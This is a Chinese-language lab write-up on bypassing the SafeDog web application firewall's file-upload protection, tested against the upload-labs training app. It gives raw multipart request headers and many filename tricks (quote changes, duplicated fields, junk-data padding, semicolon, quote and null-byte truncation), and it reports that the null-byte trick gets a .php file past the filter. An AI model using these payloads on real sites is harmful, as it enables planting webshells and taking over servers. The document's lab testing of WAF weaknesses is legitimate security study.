环境搭建 #
- 使用phpstudy2016,因为2018不会生成apache服务
- 下载安全狗 —>
注意,要下载apache版
漏洞防护规则可以在这里看
在网站防护—漏洞防护设置—上传防护中对文件上传进行防护
文件上传数据分析 #
前端上传页面需要指定 enctype 为 multipart/from-data 才能正常上传文件。
一个正常的文件上传数据包大致如下:
POST /upload-lab/Pass-01/index.php HTTP/1.1 Host: 192.168.111.167 User-Agent: Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------338226918236832126084030069411 Content-Length: 986 Origin: http://192.168.111.167 Connection: close Referer: http://192.168.111.167/upload-lab/Pass-01/index.php Cookie: PHPSESSID=37tvo07m8lu02b0qdvefjtbua7 Upgrade-Insecure-Requests: 1 -----------------------------338226918236832126084030069411 Content-Disposition: form-data; name="upload_file"; filename="php.png" Content-Type: image/png <?phpxx?> -----------------------------338226918236832126084030069411 Content-Disposition: form-data; name="submit" 上传 -----------------------------338226918236832126084030069411--
- multipart/form-data(表示该请求是一个文件上传请求)
- boundary 字符串:作用为分隔符,以区分 POST 数据
文件上传在数据包中可修改的地方
- Content-Disposition:一般可更改
- name:表单参数值,不能更改
- filename:文件名,可以更改
- Content-Type:文件 MIME,视情况更改
- boundary:内容划分,可以更改
waf拦截原理 #
waf的检测主要基于如下
- 文件名:解析文件名,判断是否在黑名单内。
- 文件内容:解析文件内容,判断是否为webshell。
- 文件目录权限:该功能需要主机WAF实现,比如云锁。
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析,比如安全狗。
大致步骤如下:
- 获取Request Header里的Content-Type值中获取boundary值
- 根据第一步的boundary值,解析POST数据,获取文件名
- 判断文件名是否在拦截黑名单内
上传测试 #
以upload-labs第一关为例,进行测试
安全狗的检测规则是只要filename中包含php关键词就拦截,不管你是文件名包含还是后缀包含敏感词都拦截
- 上传正常文件,但是内容为马的文件
可见并不拦截,安全狗未对文件内容进行任何的过滤
form-data词和name字段值可以加引号或者不加引号都不会影响上传,但是引号必须要成对出现,否则上传失败。
但是filename对引号进行改动或去掉引号则会被拦截
#正常字段 Content-Disposition: form-data; name="upload_file"; filename="php.png" #form-data词和name字段值可以加引号或者不加引号都不会影响上传,但是引号必须要成对出现,否则上传失败 Content-Disposition: form-data; name=upload_file; filename="1.png" Content-Disposition: form-data; name='upload_file'; filename="1.png" Content-Disposition: 'form-data'; name=upload_file; filename="1.png" Content-Disposition: "form-data"; name=upload_file; filename="1.png" #但是filename值如果对引号进行改动或去掉引号则会被拦截 Content-Disposition: form-data; name=upload_file; filename=2.png
如下对filename值去掉引号,被拦截
字符变异 #
变换 Content-Disposition 的值 #
某些 WAF 在解析的时候,认为 Content-Disposition 值一定是 form-data,造成绕过。其实 Content-Disposition 可以任意变换或为空。
Content-Disposition: form-d ata; name="upload_file"; filename="1.png" Content-Disposition: fora; name="upload_file"; filename="1.png" Content-Disposition:name="upload_file"; filename="1.png"
如将 Content-Disposition 的值置为空也不影响正常上传
尝试绕过,失败
顺序颠倒 #
交换 name 和 filename 的顺序 #
因为规定了 Content-Disposition 必须在最前面,所以只能交换 name 和 filename 的顺序。
有的 WAF 可能会匹配 name 在前面,filename 在后面,可以导致绕过。
Content-Disposition: form-data; filename="1.php"; name="upload_file"
数据重复 #
boundary 内容重复 #
如下内容,可见上传的是第一个she.png(也不一定)
但是这两个filename只要有一个存在php关键词就会被检测。如果waf取的文件名时只取了一个就会被 Bypass。
filename 重复 #
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
数据溢出 #
boundary 字符串中加入垃圾数据 #
boundray 字符串的值可以为任何数据(有一定的长度限制),当长度达到 WAF 无法处理时,而 Web 服务器又能够处理,那么就可以绕过 WAF 上传文件
除了最后一个boundary值,其他几个boundary值都需要一致,否则会上传失败。但是如果在一个boundary值后面加个逗号隔开,就可以插入任意的数据,此时这几个boundary无需一致也不会影响上传
WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
除了最后一个boundray,其他几个均插入一样的垃圾数据,但是无论加多少还是会被拦截!!
boundray 末尾插入垃圾数据 #
boundary 可以插入任何数据,那么就可以在 boundary 字符串末尾加入大量垃圾数据。这里还是拦截
name 与 filename 之间插入垃圾数据 #
name 与 filename 之间插入大量垃圾数据。
fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf
加多少都没用
multipart/form-data 与 boundary 之间插入垃圾数据 #
无法绕过
数据截断 #
回车换行截断 #
POST 请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若 WAF 匹配文件名到换行截止,则可以绕过
拦截
分号截断 #
若 WAF 匹配文件名到分号截止,则可以绕过
Content-Disposition: form-data; name="upload_file"; filename="2.png;.php"
引号截断 #
php<5.3 单双引号截断特性。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php" Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
00 截断(success) #
在 url 中 %00 表示 ascll 码中的 0 ,而 ascii 中 0 作为特殊字符保留,所以当 url 中出现 %00 时就会认为读取已结束。这里使用 [0x00] 代替 16 进制的 00 字符
Content-Disposition: form-data; name="upload_file"; filename="asd.php[0x00].jpg"
上传文件,使用 Burp 抓包,将 filename 的值改为:asd.php;.jpg
然后点击 hex,(分号的 16 进制为 0x3b)修改 16 进制内容,把 3b 改成 00:
成功绕过